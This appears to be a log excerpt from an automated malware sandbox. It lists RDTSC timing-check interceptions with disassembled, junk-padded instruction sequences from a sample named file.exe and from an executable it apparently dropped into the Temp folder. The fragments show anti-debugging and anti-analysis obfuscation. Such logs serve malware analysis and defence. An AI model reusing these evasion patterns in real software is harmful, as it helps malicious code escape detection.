Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B021A second address: 55B021E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B021E second address: 55B0239 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0239 second address: 55B023D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B023D second address: 55B0243 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0243 second address: 55B0266 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735524h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f mov bx, 04EEh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0266 second address: 55B0275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C5005F8Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B031B second address: 55B0380 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE6C4735521h 0x00000009 and ecx, 3CA5E2A6h 0x0000000f jmp 00007FE6C4735521h 0x00000014 popfd 0x00000015 mov edx, eax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a sub edi, edi 0x0000001c pushad 0x0000001d mov ch, bl 0x0000001f mov esi, 2E9206E1h 0x00000024 popad 0x00000025 inc ebx 0x00000026 jmp 00007FE6C473551Ch 0x0000002b test al, al 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FE6C4735527h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0380 second address: 55B0398 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C5005F94h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0398 second address: 55B042B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FE6C4735749h 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FE6C4735524h 0x00000018 sbb eax, 22E7BF68h 0x0000001e jmp 00007FE6C473551Bh 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007FE6C4735528h 0x0000002a add esi, 729711C8h 0x00000030 jmp 00007FE6C473551Bh 0x00000035 popfd 0x00000036 popad 0x00000037 lea ecx, dword ptr [ebp-14h] 0x0000003a pushad 0x0000003b call 00007FE6C4735524h 0x00000040 mov ah, F5h 0x00000042 pop ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 call 00007FE6C473551Ah 0x0000004a pop ecx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0457 second address: 55B0472 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0472 second address: 55B0478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0478 second address: 55B047C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B047C second address: 55B04B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007FE6C4735526h 0x00000011 push eax 0x00000012 jmp 00007FE6C473551Bh 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B04B7 second address: 55B04D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B04FA second address: 55B0554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE6C4735521h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007FE6C4735521h 0x0000000f add ch, FFFFFF86h 0x00000012 jmp 00007FE6C4735521h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b test eax, eax 0x0000001d jmp 00007FE6C473551Eh 0x00000022 jg 00007FE735AE3459h 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b mov al, DEh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0554 second address: 55B0571 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 4C0F836Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a mov ebx, ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e js 00007FE6C5006000h 0x00000014 pushad 0x00000015 mov bh, 9Fh 0x00000017 push eax 0x00000018 push edx 0x00000019 mov si, 1507h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0571 second address: 55B0594 instructions: 0x00000000 rdtsc 0x00000002 call 00007FE6C473551Ch 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b cmp dword ptr [ebp-14h], edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE6C473551Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0594 second address: 55B05ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE6C5005F91h 0x00000008 push esi 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jne 00007FE7363B3E74h 0x00000013 pushad 0x00000014 call 00007FE6C5005F98h 0x00000019 movzx eax, dx 0x0000001c pop ebx 0x0000001d call 00007FE6C5005F8Ch 0x00000022 mov si, 37C1h 0x00000026 pop ecx 0x00000027 popad 0x00000028 mov ebx, dword ptr [ebp+08h] 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov cl, A0h 0x00000030 mov bh, CAh 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B05ED second address: 55B0646 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE6C4735523h 0x00000009 xor ax, C69Eh 0x0000000e jmp 00007FE6C4735529h 0x00000013 popfd 0x00000014 mov ebx, ecx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 lea eax, dword ptr [ebp-2Ch] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FE6C4735529h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0646 second address: 55B0656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C5005F8Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0656 second address: 55B066E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B066E second address: 55B0672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0672 second address: 55B068D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735527h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B068D second address: 55B0693 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0693 second address: 55B0710 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FE6C473551Ch 0x00000010 sub eax, 1BEC07B8h 0x00000016 jmp 00007FE6C473551Bh 0x0000001b popfd 0x0000001c mov cx, 53EFh 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 jmp 00007FE6C4735522h 0x00000027 nop 0x00000028 jmp 00007FE6C4735520h 0x0000002d push eax 0x0000002e jmp 00007FE6C473551Bh 0x00000033 nop 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 push ebx 0x00000038 pop esi 0x00000039 call 00007FE6C4735527h 0x0000003e pop eax 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B075B second address: 55B0761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0761 second address: 55B0765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0765 second address: 55B0008 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d pushad 0x0000000e mov ebx, ecx 0x00000010 popad 0x00000011 test esi, esi 0x00000013 pushad 0x00000014 mov cl, dh 0x00000016 popad 0x00000017 je 00007FE7363B3E51h 0x0000001d xor eax, eax 0x0000001f jmp 00007FE6C4FDF6BAh 0x00000024 pop esi 0x00000025 pop edi 0x00000026 pop ebx 0x00000027 leave 0x00000028 retn 0004h 0x0000002b nop 0x0000002c mov edi, eax 0x0000002e cmp edi, 00000000h 0x00000031 setne al 0x00000034 xor ebx, ebx 0x00000036 test al, 01h 0x00000038 jne 00007FE6C5005F87h 0x0000003a jmp 00007FE6C5006079h 0x0000003f call 00007FE6C976D700h 0x00000044 mov edi, edi 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 mov si, di 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0008 second address: 55B0076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FE6C4735521h 0x0000000a xor ah, FFFFFFC6h 0x0000000d jmp 00007FE6C4735521h 0x00000012 popfd 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 mov cl, A7h 0x00000018 pushfd 0x00000019 jmp 00007FE6C4735529h 0x0000001e jmp 00007FE6C473551Bh 0x00000023 popfd 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FE6C4735524h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0C33 second address: 55B0C47 instructions: 0x00000000 rdtsc 0x00000002 mov si, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edi, 1AC62E52h 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0C47 second address: 55B0C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0C4B second address: 55B0C66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0C66 second address: 55B0C7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 mov ecx, 68013657h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0C7D second address: 55B0C8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0C8C second address: 55B0D2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FE6C473551Ch 0x00000012 and ah, 00000058h 0x00000015 jmp 00007FE6C473551Bh 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007FE6C4735528h 0x00000021 or ax, 66B8h 0x00000026 jmp 00007FE6C473551Bh 0x0000002b popfd 0x0000002c popad 0x0000002d cmp dword ptr [769B459Ch], 05h 0x00000034 pushad 0x00000035 jmp 00007FE6C4735524h 0x0000003a mov ah, 17h 0x0000003c popad 0x0000003d je 00007FE735AD3203h 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 mov cl, 71h 0x00000048 call 00007FE6C473551Bh 0x0000004d pop ecx 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C000D second address: 55C0050 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 6E7B45A3h 0x0000000e jmp 00007FE6C5005F91h 0x00000013 xor dword ptr [esp], 18E1D98Bh 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov di, FDAEh 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0050 second address: 55C0065 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735521h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0065 second address: 55C0090 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007FE73639BA7Ch 0x00000010 push 76952B70h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov eax, dword ptr [esp+10h] 0x00000020 mov dword ptr [esp+10h], ebp 0x00000024 lea ebp, dword ptr [esp+10h] 0x00000028 sub esp, eax 0x0000002a push ebx 0x0000002b push esi 0x0000002c push edi 0x0000002d mov eax, dword ptr [769B4538h] 0x00000032 xor dword ptr [ebp-04h], eax 0x00000035 xor eax, ebp 0x00000037 push eax 0x00000038 mov dword ptr [ebp-18h], esp 0x0000003b push dword ptr [ebp-08h] 0x0000003e mov eax, dword ptr [ebp-04h] 0x00000041 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000048 mov dword ptr [ebp-08h], eax 0x0000004b lea eax, dword ptr [ebp-10h] 0x0000004e mov dword ptr fs:[00000000h], eax 0x00000054 ret 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FE6C5005F8Dh 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C00F9 second address: 55C0116 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0BBF second address: 55C0BEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE6C5005F8Ch 0x00000009 adc ax, F218h 0x0000000e jmp 00007FE6C5005F8Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0BEA second address: 55C0C05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735527h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0C05 second address: 55C0C0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0C0B second address: 55C0C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0C0F second address: 55C0C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FE6C5005F97h 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FE6C5005F94h 0x00000017 jmp 00007FE6C5005F95h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007FE6C5005F90h 0x00000023 sbb si, BB98h 0x00000028 jmp 00007FE6C5005F8Bh 0x0000002d popfd 0x0000002e popad 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushad 0x00000034 popad 0x00000035 push ecx 0x00000036 pop ebx 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0C89 second address: 55C0CCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FE6C4735523h 0x00000013 jmp 00007FE6C4735523h 0x00000018 popfd 0x00000019 movzx esi, dx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0CCA second address: 55C0CD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0CD0 second address: 55C0D55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+0Ch] 0x0000000b jmp 00007FE6C4735528h 0x00000010 test esi, esi 0x00000012 jmp 00007FE6C4735520h 0x00000017 je 00007FE735AC2BC8h 0x0000001d pushad 0x0000001e call 00007FE6C473551Eh 0x00000023 pushfd 0x00000024 jmp 00007FE6C4735522h 0x00000029 and ax, 6F78h 0x0000002e jmp 00007FE6C473551Bh 0x00000033 popfd 0x00000034 pop ecx 0x00000035 mov bx, 9ABCh 0x00000039 popad 0x0000003a cmp dword ptr [769B459Ch], 05h 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 mov ax, 1C43h 0x00000048 pushad 0x00000049 popad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0E40 second address: 55C0E63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov ecx, 7D13831Dh 0x00000010 call 00007FE6C5005F8Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0E8C second address: 55C0EA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735521h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0EA1 second address: 55C0ECA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007FE6C5005F8Eh 0x0000000f pop ebp 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CF9A5A second address: CF9A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CF89C2 second address: CF89C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CF89C6 second address: CF89E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007FE6C473551Fh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CF89E1 second address: CF89ED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jo 00007FE6C5005F86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CF8B39 second address: CF8B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE6C4735516h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CF8B48 second address: CF8B72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE6C5005F8Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE6C5005F95h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CF8B72 second address: CF8B76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CF8B76 second address: CF8B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CF90E3 second address: CF90E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CF90E7 second address: CF911B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE6C5005F86h 0x00000008 jmp 00007FE6C5005F95h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE6C5005F91h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CFC8A5 second address: CFC8AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CFC8AB second address: CFC8D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F96h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FE6C5005F88h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CFC8D0 second address: CFC8E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735525h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CFC8E9 second address: CFC93C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007FE6C5005F91h 0x00000015 mov eax, dword ptr [eax] 0x00000017 jns 00007FE6C5005F9Eh 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FE6C5005F8Bh 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CFC9F2 second address: CFC9F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CFC9F9 second address: CFC9FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	RDTSC instruction interceptor: First address: CFC9FF second address: CFCA81 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE6C4735516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FE6C4735518h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 jmp 00007FE6C473551Ah 0x0000002e or edx, dword ptr [ebp+122D32F0h] 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007FE6C4735518h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 00000017h 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 mov edx, esi 0x00000052 push 02657788h 0x00000057 push eax 0x00000058 push edx 0x00000059 push edx 0x0000005a jmp 00007FE6C4735526h 0x0000005f pop edx 0x00000060 rdtsc
